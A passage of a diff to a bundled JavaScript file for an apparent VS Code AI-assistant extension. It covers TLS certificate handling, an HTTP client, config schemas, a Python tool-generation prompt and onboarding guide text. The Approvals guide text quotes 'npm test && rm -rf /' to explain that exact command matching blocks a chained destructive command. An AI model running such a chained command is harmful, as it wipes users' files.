-  const resolved = path2.isAbsolute(file2) ? file2 : certDir !== void 0 ? path2.join(certDir, file2) : file2;
-  seen.push(resolved);
-  try {
-    return await fs2.readFile(resolved);
-  } catch (error51) {
-    const code = error51.code;
-    throw new TlsConfigError(code === "ENOENT" ? `${label} not found at "${resolved}". Check the path in Settings \u2192 Network, or set a certificate directory there.` : `Could not read ${label.toLowerCase()} at "${resolved}": ${error51 instanceof Error ? error51.message : String(error51)}`);
-  }
-}
-function hasClientMaterial(settings) {
-  return settings?.certFile !== void 0 && settings.certFile.trim().length > 0 || settings?.pfxFile !== void 0 && settings.pfxFile.trim().length > 0;
-}
-async function resolveConnectionTls(options) {
-  const paths = [];
-  try {
-    return await build(options, paths);
-  } finally {
-    if (paths.length > 0)
-      options.onPaths?.(paths);
-  }
-}
-async function build(options, paths) {
-  const { global: global2, connection, certDir } = options;
-  const cas = [];
-  for (const file2 of [global2?.caFile, connection?.caFile]) {
-    if (file2 !== void 0 && file2.trim().length > 0) {
-      cas.push(await readFile(file2.trim(), certDir, "CA certificate", paths));
-    }
-  }
-  const clientSource = hasClientMaterial(connection) ? connection : connection?.useGlobalClientCertificate === false ? void 0 : hasClientMaterial(global2) ? global2 : void 0;
-  const rejectUnauthorized = connection?.rejectUnauthorized ?? global2?.rejectUnauthorized;
-  if (cas.length === 0 && clientSource === void 0 && rejectUnauthorized !== false)
-    return void 0;
-  const tls2 = {};
-  if (cas.length > 0)
-    tls2.ca = cas;
-  if (rejectUnauthorized === false)
-    tls2.rejectUnauthorized = false;
-  if (clientSource !== void 0) {
-    if (clientSource.pfxFile !== void 0 && clientSource.pfxFile.trim().length > 0) {
-      tls2.pfx = await readFile(clientSource.pfxFile.trim(), certDir, "PFX bundle", paths);
-    } else {
-      const certFile = clientSource.certFile?.trim() ?? "";
-      const keyFile = clientSource.keyFile?.trim() ?? "";
-      if (keyFile.length === 0) {
-        throw new TlsConfigError("A client certificate is configured but no private key. Set the key file in Settings \u2192 Network, or use a PFX bundle.");
-      }
-      tls2.cert = await readFile(certFile, certDir, "Client certificate", paths);
-      tls2.key = await readFile(keyFile, certDir, "Private key", paths);
-    }
-    if (options.passphrase !== void 0)
-      tls2.passphrase = options.passphrase;
-  }
-  return tls2;
-}
+// src/sharedConfig.ts
+import fs17 from "node:fs/promises";
+import path22 from "node:path";
 
 // ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js
 var external_exports = {};
@@ -35686,10 +35498,10 @@ function mergeDefs(...defs) {
 function cloneDef(schema) {
   return mergeDefs(schema._zod.def);
 }
-function getElementAtPath(obj, path26) {
-  if (!path26)
+function getElementAtPath(obj, path29) {
+  if (!path29)
     return obj;
-  return path26.reduce((acc, key) => acc?.[key], obj);
+  return path29.reduce((acc, key) => acc?.[key], obj);
 }
 function promiseAllObject(promisesObj) {
   const keys = Object.keys(promisesObj);
@@ -36098,11 +35910,11 @@ function explicitlyAborted(x, startIndex = 0) {
   }
   return false;
 }
-function prefixIssues(path26, issues) {
+function prefixIssues(path29, issues) {
   return issues.map((iss) => {
     var _a3;
     (_a3 = iss).path ?? (_a3.path = []);
-    iss.path.unshift(path26);
+    iss.path.unshift(path29);
     return iss;
   });
 }
@@ -36249,16 +36061,16 @@ function flattenError(error51, mapper = (issue2) => issue2.message) {
 }
 function formatError(error51, mapper = (issue2) => issue2.message) {
   const fieldErrors = { _errors: [] };
-  const processError = (error52, path26 = []) => {
+  const processError = (error52, path29 = []) => {
     for (const issue2 of error52.issues) {
       if (issue2.code === "invalid_union" && issue2.errors.length) {
-        issue2.errors.map((issues) => processError({ issues }, [...path26, ...issue2.path]));
+        issue2.errors.map((issues) => processError({ issues }, [...path29, ...issue2.path]));
       } else if (issue2.code === "invalid_key") {
-        processError({ issues: issue2.issues }, [...path26, ...issue2.path]);
+        processError({ issues: issue2.issues }, [...path29, ...issue2.path]);
       } else if (issue2.code === "invalid_element") {
-        processError({ issues: issue2.issues }, [...path26, ...issue2.path]);
+        processError({ issues: issue2.issues }, [...path29, ...issue2.path]);
       } else {
-        const fullpath = [...path26, ...issue2.path];
+        const fullpath = [...path29, ...issue2.path];
         if (fullpath.length === 0) {
           fieldErrors._errors.push(mapper(issue2));
         } else {
@@ -36285,17 +36097,17 @@ function formatError(error51, mapper = (issue2) => issue2.message) {
 }
 function treeifyError(error51, mapper = (issue2) => issue2.message) {
   const result = { errors: [] };
-  const processError = (error52, path26 = []) => {
+  const processError = (error52, path29 = []) => {
     var _a3, _b;
     for (const issue2 of error52.issues) {
       if (issue2.code === "invalid_union" && issue2.errors.length) {
-        issue2.errors.map((issues) => processError({ issues }, [...path26, ...issue2.path]));
+        issue2.errors.map((issues) => processError({ issues }, [...path29, ...issue2.path]));
       } else if (issue2.code === "invalid_key") {
-        processError({ issues: issue2.issues }, [...path26, ...issue2.path]);
+        processError({ issues: issue2.issues }, [...path29, ...issue2.path]);
       } else if (issue2.code === "invalid_element") {
-        processError({ issues: issue2.issues }, [...path26, ...issue2.path]);
+        processError({ issues: issue2.issues }, [...path29, ...issue2.path]);
       } else {
-        const fullpath = [...path26, ...issue2.path];
+        const fullpath = [...path29, ...issue2.path];
         if (fullpath.length === 0) {
           result.errors.push(mapper(issue2));
           continue;
@@ -36327,8 +36139,8 @@ function treeifyError(error51, mapper = (issue2) => issue2.message) {
 }
 function toDotPath(_path) {
   const segs = [];
-  const path26 = _path.map((seg) => typeof seg === "object" ? seg.key : seg);
-  for (const seg of path26) {
+  const path29 = _path.map((seg) => typeof seg === "object" ? seg.key : seg);
+  for (const seg of path29) {
     if (typeof seg === "number")
       segs.push(`[${seg}]`);
     else if (typeof seg === "symbol")
@@ -49020,13 +48832,13 @@ function resolveRef(ref, ctx) {
   if (!ref.startsWith("#")) {
     throw new Error("External $ref is not supported, only local refs (#/...) are allowed");
   }
-  const path26 = ref.slice(1).split("/").filter(Boolean);
-  if (path26.length === 0) {
+  const path29 = ref.slice(1).split("/").filter(Boolean);
+  if (path29.length === 0) {
     return ctx.rootSchema;
   }
   const defsKey = ctx.version === "draft-2020-12" ? "$defs" : "definitions";
-  if (path26[0] === defsKey) {
-    const key = path26[1];
+  if (path29[0] === defsKey) {
+    const key = path29[1];
     if (!key || !ctx.defs[key]) {
       throw new Error(`Reference not found: ${ref}`);
     }
@@ -49434,6 +49246,172 @@ function date4(params) {
 // ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/external.js
 config(en_default());
 
+// ../../packages/core/dist/platform/http.js
+var import_undici = __toESM(require_undici(), 1);
+import { createHash } from "node:crypto";
+
+// ../../packages/core/dist/platform/tls.js
+import fs from "node:fs";
+import tls from "node:tls";
+var cachedExtraCaCerts;
+var cachedExtraCaPath;
+function readNodeExtraCaCerts(env2 = process.env) {
+  const configuredPath = env2.NODE_EXTRA_CA_CERTS;
+  if (configuredPath === void 0 || configuredPath.trim().length === 0)
+    return [];
+  if (cachedExtraCaPath === configuredPath && cachedExtraCaCerts !== void 0)
+    return cachedExtraCaCerts;
+  try {
+    const contents = fs.readFileSync(configuredPath, "utf8");
+    cachedExtraCaCerts = contents.trim().length > 0 ? [contents] : [];
+  } catch {
+    cachedExtraCaCerts = [];
+  }
+  cachedExtraCaPath = configuredPath;
+  return cachedExtraCaCerts;
+}
+function buildCaBundle(configured, env2 = process.env) {
+  const extraFromEnv = readNodeExtraCaCerts(env2);
+  const extraFromConfig = configured ?? [];
+  if (extraFromEnv.length === 0 && extraFromConfig.length === 0)
+    return void 0;
+  return [...tls.rootCertificates, ...extraFromEnv, ...extraFromConfig];
+}
+function buildConnectOptions(options, env2 = process.env) {
+  const connect = {};
+  if (options.rejectUnauthorized === false)
+    connect.rejectUnauthorized = false;
+  if (options.cert !== void 0)
+    connect.cert = options.cert;
+  if (options.key !== void 0)
+    connect.key = options.key;
+  if (options.pfx !== void 0)
+    connect.pfx = options.pfx;
+  if (options.passphrase !== void 0)
+    connect.passphrase = options.passphrase;
+  const ca = buildCaBundle(options.ca, env2);
+  if (ca !== void 0)
+    connect.ca = ca;
+  return connect;
+}
+
+// ../../packages/core/dist/platform/http.js
+function tlsKey(tls2) {
+  const hash2 = createHash("sha256");
+  for (const part of [tls2.cert, tls2.key, tls2.pfx, ...tls2.ca ?? []]) {
+    hash2.update(part ?? Buffer.alloc(0));
+    hash2.update("|");
+  }
+  hash2.update(tls2.passphrase ?? "");
+  return hash2.digest("hex");
+}
+var FetchHttpClient = class {
+  /** Agents are pooled: building one per request would discard connection reuse entirely. */
+  agents = /* @__PURE__ */ new Map();
+  agentFor(tls2) {
+    const key = tlsKey(tls2);
+    const existing = this.agents.get(key);
+    if (existing !== void 0)
+      return existing;
+    const agent = new import_undici.Agent({ connect: buildConnectOptions(tls2) });
+    this.agents.set(key, agent);
+    return agent;
+  }
+  /** Drops pooled agents so the next request rebuilds TLS — call when certs change on disk. */
+  resetTlsAgents() {
+    for (const agent of this.agents.values())
+      void agent.close();
+    this.agents.clear();
+  }
+  async request(url2, options = {}) {
+    const init = {};
+    if (options.method !== void 0)
+      init.method = options.method;
+    if (options.headers !== void 0)
+      init.headers = options.headers;
+    if (options.body !== void 0)
+      init.body = options.body;
+    if (options.signal !== void 0)
+      init.signal = options.signal;
+    if (options.tls !== void 0)
+      init.dispatcher = this.agentFor(options.tls);
+    const response = await (0, import_undici.fetch)(url2, init);
+    return {
+      status: response.status,
+      headers: Object.fromEntries(response.headers.entries()),
+      text: () => response.text(),
+      json: () => response.json(),
+      body: response.body
+    };
+  }
+};
+
+// ../../packages/core/dist/platform/connectionTls.js
+import fs2 from "node:fs/promises";
+import path2 from "node:path";
+var TlsConfigError = class extends Error {
+  constructor(message) {
+    super(message);
+    this.name = "TlsConfigError";
+  }
+};
+async function readFile(file2, certDir, label, seen) {
+  const resolved = path2.isAbsolute(file2) ? file2 : certDir !== void 0 ? path2.join(certDir, file2) : file2;
+  seen.push(resolved);
+  try {
+    return await fs2.readFile(resolved);
+  } catch (error51) {
+    const code = error51.code;
+    throw new TlsConfigError(code === "ENOENT" ? `${label} not found at "${resolved}". Check the path in Settings \u2192 Network, or set a certificate directory there.` : `Could not read ${label.toLowerCase()} at "${resolved}": ${error51 instanceof Error ? error51.message : String(error51)}`);
+  }
+}
+function hasClientMaterial(settings) {
+  return settings?.certFile !== void 0 && settings.certFile.trim().length > 0 || settings?.pfxFile !== void 0 && settings.pfxFile.trim().length > 0;
+}
+async function resolveConnectionTls(options) {
+  const paths = [];
+  try {
+    return await build(options, paths);
+  } finally {
+    if (paths.length > 0)
+      options.onPaths?.(paths);
+  }
+}
+async function build(options, paths) {
+  const { global: global2, connection, certDir } = options;
+  const cas = [];
+  for (const file2 of [global2?.caFile, connection?.caFile]) {
+    if (file2 !== void 0 && file2.trim().length > 0) {
+      cas.push(await readFile(file2.trim(), certDir, "CA certificate", paths));
+    }
+  }
+  const clientSource = hasClientMaterial(connection) ? connection : connection?.useGlobalClientCertificate === false ? void 0 : hasClientMaterial(global2) ? global2 : void 0;
+  const rejectUnauthorized = connection?.rejectUnauthorized ?? global2?.rejectUnauthorized;
+  if (cas.length === 0 && clientSource === void 0 && rejectUnauthorized !== false)
+    return void 0;
+  const tls2 = {};
+  if (cas.length > 0)
+    tls2.ca = cas;
+  if (rejectUnauthorized === false)
+    tls2.rejectUnauthorized = false;
+  if (clientSource !== void 0) {
+    if (clientSource.pfxFile !== void 0 && clientSource.pfxFile.trim().length > 0) {
+      tls2.pfx = await readFile(clientSource.pfxFile.trim(), certDir, "PFX bundle", paths);
+    } else {
+      const certFile = clientSource.certFile?.trim() ?? "";
+      const keyFile = clientSource.keyFile?.trim() ?? "";
+      if (keyFile.length === 0) {
+        throw new TlsConfigError("A client certificate is configured but no private key. Set the key file in Settings \u2192 Network, or use a PFX bundle.");
+      }
+      tls2.cert = await readFile(certFile, certDir, "Client certificate", paths);
+      tls2.key = await readFile(keyFile, certDir, "Private key", paths);
+    }
+    if (options.passphrase !== void 0)
+      tls2.passphrase = options.passphrase;
+  }
+  return tls2;
+}
+
 // ../../packages/core/dist/mcp/types.js
 var stdioServerSchema = external_exports.object({
   command: external_exports.string().min(1),
@@ -49470,6 +49448,12 @@ function resolveToolPermission(toolName, namespacedName, disabledTools, alwaysAl
 function namespacedToolName(serverName, toolName) {
   return `${serverName}__${toolName}`;
 }
+function parseNamespacedToolName(name) {
+  const index = name.indexOf("__");
+  if (index <= 0)
+    return void 0;
+  return { serverName: name.slice(0, index), toolName: name.slice(index + 2) };
+}
 var PACKAGE_RUNNERS = /* @__PURE__ */ new Set(["npx", "npx.cmd", "pnpm", "pnpm.cmd", "pnpx", "bunx", "uvx", "yarn", "yarn.cmd"]);
 function isPackageRunnerCommand(command) {
   const base = command.split(/[\\/]/).pop()?.toLowerCase() ?? "";
@@ -49511,6 +49495,20 @@ var scheduleSchema = external_exports.object({
    * Control tools are always available regardless; they perform no work.
    */
   allowedTools: external_exports.array(external_exports.string()),
+  /**
+   * Which skills this run is told about, by name.
+   *
+   * **Absent means all of them**, which is what every schedule written before this existed
+   * means, and the only reading that cannot silently take knowledge away from a job that was
+   * working. An empty array is a real choice — "this run needs none" — and is honoured.
+   *
+   * Why a list rather than the retrieval the chat uses: a scheduled run's tools are an
+   * allowlist the user ticked, and it may well not include `search_docs`, so telling the run
+   * that notes exist and to go and search for them can leave it with nothing to search with.
+   * Choosing the relevant ones up front is also simply better for a job that does the same
+   * thing every night — it knows in advance which conventions apply, where the chat cannot.
+   */
+  allowedSkills: external_exports.array(external_exports.string()).optional(),
   /**
    * When the timer will next run this, in epoch ms.
    *
@@ -49546,6 +49544,12 @@ var scheduleSchema = external_exports.object({
 var MAX_REMEMBERED_RUNS = 20;
 var schedulesSchema = external_exports.record(external_exports.string(), scheduleSchema);
 var ALWAYS_AVAILABLE_TO_SCHEDULES = ["attempt_completion", "notify"];
+function skillsForSchedule(skills, allowed) {
+  if (allowed === void 0)
+    return [...skills];
+  const wanted = new Set(allowed);
+  return skills.filter((skill) => wanted.has(skill.name));
+}
 
 // ../../packages/core/dist/providers/types.js
 var wireFormatSchema = external_exports.enum(["openai", "anthropic", "gemini"]);
@@ -49813,14 +49817,30 @@ var skillsConfigSchema = external_exports.object({
 }).partial();
 var retrievalConfigSchema = external_exports.object({
   /**
-   * Off by default, and that is a real default rather than caution.
+   * **On by default since 0.33.0**, at the user's request: looking a tool up first is the
+   * behaviour they want, and a corporate install with several MCP servers is the case this
+   * product is actually deployed into.
    *
-   * The dispatcher trades a smaller prompt for less reliable tool calls: models are
-   * measurably better at native tool-calling than at naming a tool inside `call_tool`.
-   * It earns its place when a large MCP catalogue genuinely dominates the context window,
-   * which is a minority of installs.
+   * The cost it trades against is real and unchanged — models are measurably better at
+   * native tool-calling than at naming a tool inside `call_tool`. Two things keep that from
+   * biting a small install: nothing is hidden unless there is something to hide (a workspace
+   * with no MCP or Python tools registers no dispatcher tools at all, so it pays nothing),
+   * and the switch is one click away in Settings → Search, which reports exactly how many
+   * tools it is hiding.
    */
   dispatcher: external_exports.boolean(),
+  /**
+   * The same treatment for skills: their names and descriptions leave the prompt and are
+   * found with `search_docs` instead.
+   *
+   * On by default, and paired with `dispatcher` rather than independent of it in practice —
+   * but a separate key because the trade is different. A tool's schema is large and its name
+   * is guessable from the task; a skill's summary is one line and is the *only* thing that
+   * makes the model aware the skill exists at all. So hiding skills saves less and risks
+   * more, which is why a count and a standing instruction to search stay in the prompt even
+   * when the list does not — see `renderSkillsHintForPrompt`.
+   */
+  skills: external_exports.boolean(),
   /**
    * Where the documentation corpus is indexed. Absent means `search_docs` still works,
    * matching names and descriptions from the live registry instead of by meaning — see
@@ -49828,6 +49848,12 @@ var retrievalConfigSchema = external_exports.object({
    */
   docsIndex: external_exports.string()
 }).partial();
+function dispatcherEnabled(retrieval) {
+  return retrieval?.dispatcher !== false;
+}
+function skillRetrievalEnabled(retrieval) {
+  return dispatcherEnabled(retrieval) && retrieval?.skills !== false;
+}
 var embedderConfigSchema = external_exports.object({
   profileId: external_exports.string().min(1),
   model: external_exports.string().min(1),
@@ -49894,6 +49920,18 @@ var configSchema = external_exports.object({
    */
   schedules: schedulesSchema,
   activeProfileId: external_exports.string(),
+  /**
+   * The profile that writes Python tool source, when it should not be the chat model.
+   *
+   * A cheap model is fine at deciding a tool is needed and describing it, and much worse at
+   * writing the file. Naming a profile here splits the two: the chat model sends a
+   * specification and this one produces the source, which goes through the ordinary approval
+   * prompt showing the real bytes.
+   *
+   * Absent means the chat model writes it, which is the behaviour every release so far has
+   * had. User-scope only for the same reason as `profiles`: it names where inference goes.
+   */
+  programmingProfileId: external_exports.string(),
   certDir: external_exports.string(),
   python: pythonConfigSchema,
   /**
@@ -49963,10 +50001,276 @@ function parseConfig(raw) {
   return result.data;
 }
 
+// ../../packages/core/dist/session/variables.js
+var sessionVariableSchema = external_exports.object({
+  name: external_exports.string().min(1),
+  value: external_exports.string(),
+  /** Shown beside the value. For "which one of these is the staging URL". */
+  description: external_exports.string().optional()
+});
+var sessionVariablesSchema = external_exports.array(sessionVariableSchema);
+var VALID_NAME = /^[A-Za-z_][A-Za-z0-9_]*$/;
+function isValidVariableName(name) {
+  return VALID_NAME.test(name);
+}
+function resolveSessionVariables(adminVariables, userVariables) {
+  const byName = /* @__PURE__ */ new Map();
+  for (const variable of userVariables) {
+    byName.set(variable.name, { ...variable, scope: "user" });
+  }
+  for (const variable of adminVariables) {
+    const displaced = byName.get(variable.name);
+    byName.set(variable.name, {
+      ...variable,
+      scope: "admin",
+      ...displaced !== void 0 ? { overriddenUserValue: displaced.value } : {}
+    });
+  }
+  return [...byName.values()].sort((a, b) => a.name.localeCompare(b.name));
+}
+function toEnvironment(variables) {
+  const env2 = {};
+  for (const variable of variables) {
+    if (!isValidVariableName(variable.name))
+      continue;
+    env2[variable.name] = variable.value;
+  }
+  return env2;
+}
+
+// ../../packages/core/dist/python/codeGenerator.js
+function buildCodeGenerationPrompt(request) {
+  const lines = [
+    "Write one complete Python file implementing the tool described below.",
+    "",
+    "Requirements, all load-bearing:",
+    "- Define a function named `run`. It is the entry point and nothing else is called.",
+    "- Annotate every parameter and the return type. The tool\u2019s schema is derived from those",
+    "  hints, so an unannotated parameter cannot be passed by the caller.",
+    "- Write a module docstring. It becomes the tool description the model reads when choosing",
+    "  this tool, so say what it does, not how.",
+    "- Document parameters in a Google-style `Args:` block.",
+    "- Declare any third-party dependency in a PEP 723 inline block. Standard library needs none.",
+    "",
+    "**Return the file and nothing else.** No explanation, no fenced code block, no preamble.",
+    "Anything that is not Python will be written to the file verbatim and fail to parse.",
+    "",
+    `Tool name: ${request.toolName}`,
+    "",
+    "What it must do:",
+    request.specification
+  ];
+  if (request.existingSource !== void 0 && request.existingSource.length > 0) {
+    lines.push("", "This tool already exists. Change what the requirement asks for and leave the rest alone \u2014", "return the whole file, including the parts you did not touch.", "", "Current file:", request.existingSource);
+  }
+  return lines.join("\n");
+}
+function unwrapFencedSource(text) {
+  const trimmed = text.trim();
+  if (!trimmed.startsWith("```"))
+    return text;
+  const firstNewline = trimmed.indexOf("\n");
+  if (firstNewline === -1)
+    return text;
+  const opening = trimmed.slice(0, firstNewline).trim();
+  if (!/^```[a-zA-Z0-9]*$/.test(opening))
+    return text;
+  if (!trimmed.endsWith("```"))
+    return text;
+  return trimmed.slice(firstNewline + 1, trimmed.length - 3).replace(/\s+$/, "") + "\n";
+}
+
+// ../../packages/core/dist/review/types.js
+function describeSubmission(request) {
+  const what = request.kind === "python-tool" ? "tool" : "skill";
+  return [
+    `Submitted "${request.name}" for review. It is not saved and not callable yet.`,
+    "",
+    `An administrator has to read the ${what} and approve it before it can run. This is not an`,
+    "error and there is nothing to retry \u2014 submitting again would only add a second copy to the",
+    "queue. Tell the user it is waiting for approval and carry on with whatever else the task",
+    "needs."
+  ].join("\n");
+}
+
+// ../../packages/core/dist/guide/steps.js
+var GUIDE_STEPS = [
+  {
+    id: "orientation",
+    title: "Where everything is",
+    opensPanel: true,
+    completionEvents: ["onCommand:lightCode.openPanel"],
+    altText: "The VS Code window: the Light Code icon in the activity bar, the chat panel, and the new-task, history, settings and guide buttons in its header.",
+    body: [
+      "Light Code lives in one sidebar panel. The chat is the whole product; the gear opens eleven settings tabs, and the question mark reopens this guide whenever you want it.",
+      "The numbers in the picture are the four things worth knowing before anything else."
+    ]
+  },
+  {
+    id: "providers",
+    title: "Providers - point it at a model",
+    tab: "providers",
+    completionEvents: ["onContext:lightCode.hasProvider"],
+    altText: "The Providers tab, showing the profile list and the fields for editing one: preset, label, base URL, authentication, API key, model and Test connection.",
+    body: [
+      "Nothing ships configured. There are no default endpoints, so a fresh install contacts nothing until you fill this in.",
+      "**Preset** prefills a base URL and wire format - OpenAI-compatible, Anthropic, Gemini, DeepSeek - and every field stays editable for a gateway that fronts one differently. **Authentication** is a separate axis: an API key, or Apigee client-certificate mTLS with a token grant. **Model** is fetched from your gateway and always typeable, because many return nothing. Keep one profile per gateway and switch between them from the chat header.",
+      "**Test connection** is the field worth using first: it loads certificates, gets a token, lists models, and tells you which of the three failed."
+    ]
+  },
+  {
+    id: "network",
+    title: "Network - certificates, once, for everything",
+    tab: "network",
+    completionEvents: ["onStepSelected"],
+    altText: "The Network tab, showing certificate directory, CA certificate, client certificate and key, PFX bundle, passphrase, and the verify-TLS toggle.",
+    body: [
+      "If your company intercepts TLS or issues client certificates, this is the only place you set that up. It applies to every connection: the gateway, the token endpoint, MCP over HTTP, the vector store and the embedder.",
+      "**CA certificate** is added to the public roots rather than replacing them, so trusting your corporate root does not cost you every other host. **Certificate and key** - or a **PFX bundle**, which is what Windows PKI usually issues - identify you. Any single connection can override either.",
+      "**Verify TLS certificates** can be turned off, and the panel says plainly what that costs: an interceptor can read and change the traffic, API key included. Add the CA instead."
+    ]
+  },
+  {
+    id: "chat",
+    title: "The chat - ask for something real",
+    opensPanel: true,
+    completionEvents: ["onContext:lightCode.hasChatted"],
+    altText: "The chat header, with the mode selector, the expert budget, and the four header buttons labelled; below it, the composer.",
+    body: [
+      "Type a request. It reads files, searches, edits and runs commands, one step at a time, and stops when it is done or when it needs you.",
+      "**@** names a file directly. Paste a screenshot, or drop a Word, Excel, PDF or HTML file in. Long output is truncated with a handle it can re-read, so a huge log does not eat the window - the bar above the composer shows what has.",
+      "**Mode** picks what it may do: Code edits and runs, Ask is read-only, Junior brings the expert in. **History** keeps every past task, and reopening one restores the whole transcript."
+    ]
+  },
+  {
+    id: "approvals",
+    title: "Approvals - nothing happens without you",
+    tab: "approvals",
+    completionEvents: ["onStepSelected"],
+    altText: "The Approvals tab, showing four auto-approve toggles all off, the always-allowed command and tool lists, extra readable folders, and the maximum-steps setting.",
+    body: [
+      "Every tool call is shown before it runs, as ground truth: the real command, the computed diff, the actual source. Never the model's description of what it means to do. **Deny** is a real answer - it goes back as a result and the turn continues.",
+      "This tab is where standing permission is granted and, more importantly, taken back. The four toggles skip the prompt by category and **all ship off**. Below them are the grants you made in the chat: always-allowed commands, always-allowed MCP tools, and folders outside the workspace it may read.",
+      "Command matching is **exact, byte for byte**. Allowing `npm test` never allows `npm test && rm -rf /`.",
+      "Before its first edit to a task it snapshots the workspace, so you can roll the whole thing back."
+    ]
+  },
+  {
+    id: "mcp",
+    title: "MCP - connect the servers you already run",
+    tab: "mcp",
+    completionEvents: ["onStepSelected"],
+    altText: "The MCP tab, showing two servers with health, per-tool Always/Ask/Never controls, and the JSON configuration box.",
+    body: [
+      "Standard `mcpServers` configuration, so a config from another client pastes in unchanged. stdio or HTTP, inferred from whether you gave a command or a URL.",
+      "Servers connect when the panel opens and show health, so a mistyped command is visible immediately rather than the first time something needs it. Every tool is namespaced `server__tool`, and each one has its own **Always / Ask / Never** - one server can expose forty.",
+      "Secrets go in as `${secret:NAME}` and are resolved from the OS keychain at spawn time, never written into the file."
+    ]
+  },
+  {
+    id: "python",
+    title: "Python - let it write its own tools",
+    tab: "python",
+    completionEvents: ["onStepSelected"],
+    altText: "The Python tab, showing the enable toggle, uv path, environment choice, tools folder, package index, timeout, and a created tool with its content-hash approval note.",
+    body: [
+      "It can write a Python tool mid-conversation and call it from the next message. Dependencies are declared in the file and installed with `uv`; the schema comes from your type hints, so there is no metadata to keep in step.",
+      "**Python environment** prefers your project's own venv, because that is where your internal libraries already are. **Package index** can point at an internal mirror, or refuse the network entirely.",
+      "This is the sharpest surface in the product, so it is off by default and creating a tool **always** prompts with the full source - no toggle skips it. Approval pins a hash of exactly what you saw; a file edited outside is refused and reported, and tools live in `.lightcode/tools/` so they land in git and get reviewed."
+    ]
+  },
+  {
+    id: "skills",
+    title: "Skills - teach it your conventions",
+    tab: "skills",
+    completionEvents: ["onStepSelected"],
+    altText: "The Skills tab, showing two skills, a note that they are found by searching rather than listing, the writable skills folder, extra read-only folders, the problems list, and the approval note.",
+    body: [
+      "A skill is a markdown file with a name and a description. The body is never in the prompt - it is read with `read_file` when a task actually calls for it, so a skill can be as long as you like.",
+      "By default the summaries are not in the prompt either: the assistant searches for a relevant note with `search_docs`, the same way it finds tools. What stays is a count and an instruction to look, so it still knows notes exist - a description nobody sees is a note nobody reads. Switch it off in **Search** if you would rather every summary sat in the prompt.",
+      'This is the answer to "it does not know about our internal libraries". It offers to write one when you explain something durable, and offers to correct one when something contradicts it - a stale skill is worse than a missing one.',
+      "You get a writable folder plus any number of read-only ones, such as a shared team folder, with PATH-style precedence and shadowing reported rather than silently applied. Writing a skill needs approval too: it is prose that steers every future turn."
+    ]
+  },
+  {
+    id: "search",
+    title: "Search - find things by meaning",
+    tab: "search",
+    completionEvents: ["onStepSelected"],
+    altText: "The Search tab, showing the backend choice, connection fields, embedding profile, the index button, the two look-things-up toggles for tools and skills, index copying, and query limits.",
+    body: [
+      "Indexing is optional, ships disabled, and is **the largest thing Light Code ever sends anywhere**: it uploads the contents of your workspace to the embedding endpoint you name. It says so, and where to, before the first upload.",
+      "**Qdrant** and **Chroma** run locally if you would rather nothing left the machine; **OpenSearch** is usually the one your company already has. Embeddings reuse a provider profile, so there is no second set of credentials. You can **copy an index between backends**, so changing your mind later does not orphan what you indexed.",
+      "**Looking things up rather than listing them is the default.** MCP and Python tool schemas, and skill summaries, stay out of the prompt; the assistant finds them with `search_docs` and calls them through `call_tool`. Nothing is registered when there is nothing to hide, so a workspace with no MCP servers and no skills pays nothing for it. The tab shows how many things it is hiding, and either half can be switched off - models do call a tool listed in the prompt slightly more reliably than one named through a dispatcher."
+    ]
+  },
+  {
+    id: "tools",
+    title: "Tools - everything it can call",
+    tab: "tools",
+    completionEvents: ["onStepSelected"],
+    altText: "The Tools tab, showing the search box and the catalogue grouped into built-in, MCP and Python tools, with the looked-up badge explained.",
+    body: [
+      "One read-only list of every tool available right now: the built-in nine, everything your MCP servers expose, and the Python tools it has written. Search matches descriptions as well as names, so you can look for what you want done rather than what it is called.",
+      "A **looked up** badge means the tool is kept out of the system prompt to save space - the default for MCP and Python tools. It is still callable: the assistant searches for it and calls it by name. A shorter prompt is not a shorter tool list; withholding a capability is what Approvals and modes are for."
+    ]
+  },
+  {
+    id: "expert",
+    title: "Expert - spend less on the hard parts",
+    tab: "expert",
+    completionEvents: ["onStepSelected"],
+    altText: "The Expert tab, showing the enable toggle, command and model, the per-task spend and consultation limits, cost estimate, skill assessment, and the read-only tool restriction.",
+    body: [
+      "In **Junior mode** a cheap model does the work and consults Claude, through the Claude CLI, on the parts that need it. The expert plans, sets checkpoints, and reviews each one as the junior finishes it.",
+      "It is read-only by construction - Read, Grep and Glob, never edit or execute - so a second agent can never act outside the approval gate. It keeps one session per task, which makes the first consultation the expensive one and every later one about nineteen times cheaper.",
+      "**Budget per task** caps both spend and number of consultations, and the same control sits in the chat header so you can raise it mid-task. The expert is told what is left and plans to fit, gives you a cost estimate up front, and can assess how your primary model is doing."
+    ]
+  },
+  {
+    id: "schedules",
+    title: "Schedules - let it run on its own",
+    tab: "schedules",
+    completionEvents: ["onStepSelected"],
+    altText: "The Schedules tab, showing a schedule name, prompt and interval, the file-permission, tool and skill filters for unattended runs, and the run history.",
+    body: [
+      "A prompt on a timer. Runs in the background without touching the chat you are in, and keeps running with the panel closed.",
+      "Nobody is present to approve anything, so an unattended run does not inherit your auto-approve settings. Permission is granted **per schedule**: files are read-only unless you say otherwise, and you pick exactly which tools it may call. Creating Python tools or skills is never available to a schedule at all - model-authored code with no one watching is the one thing that stays out of reach.",
+      "**A schedule names the skills it needs** rather than searching for them, under *What it should know*. Its tool list may not include `search_docs`, and a run that comes up empty has nobody to notice. All skills are included until you narrow it.",
+      "Every run is logged with its full transcript, and `notify` raises a toast when a run has something to say."
+    ]
+  },
+  {
+    id: "appearance",
+    title: "Appearance - make it yours",
+    tab: "appearance",
+    completionEvents: ["onStepSelected"],
+    altText: "The Appearance tab, showing the accent colour swatches, the expert colour swatches, and the reduced-motion toggle.",
+    body: [
+      "The panel follows your editor theme. Two colours are yours to set: the **accent**, used for anything actionable, and the **expert** colour, which marks authorship - text in it is Claude's words rather than your primary model's.",
+      "Text on either is computed rather than fixed, so it stays readable whatever you pick. Motion follows your OS reduced-motion setting, and can be turned off here regardless."
+    ]
+  },
+  {
+    id: "privacy",
+    title: "What it does not do",
+    completionEvents: ["onStepSelected"],
+    altText: "A diagram of what leaves the machine: your gateway and MCP servers, plus the vector store and embedder only if Search is enabled; then the four things Light Code never does, and a warning that nothing is sandboxed.",
+    body: [
+      "No telemetry. No update checks. No default endpoints - a fresh install contacts nothing. No remote assets in the panel.",
+      "The only hosts it ever reaches are the ones you configured: your gateway, your MCP servers, and - only if you turn Search on - your vector store and embedding endpoint.",
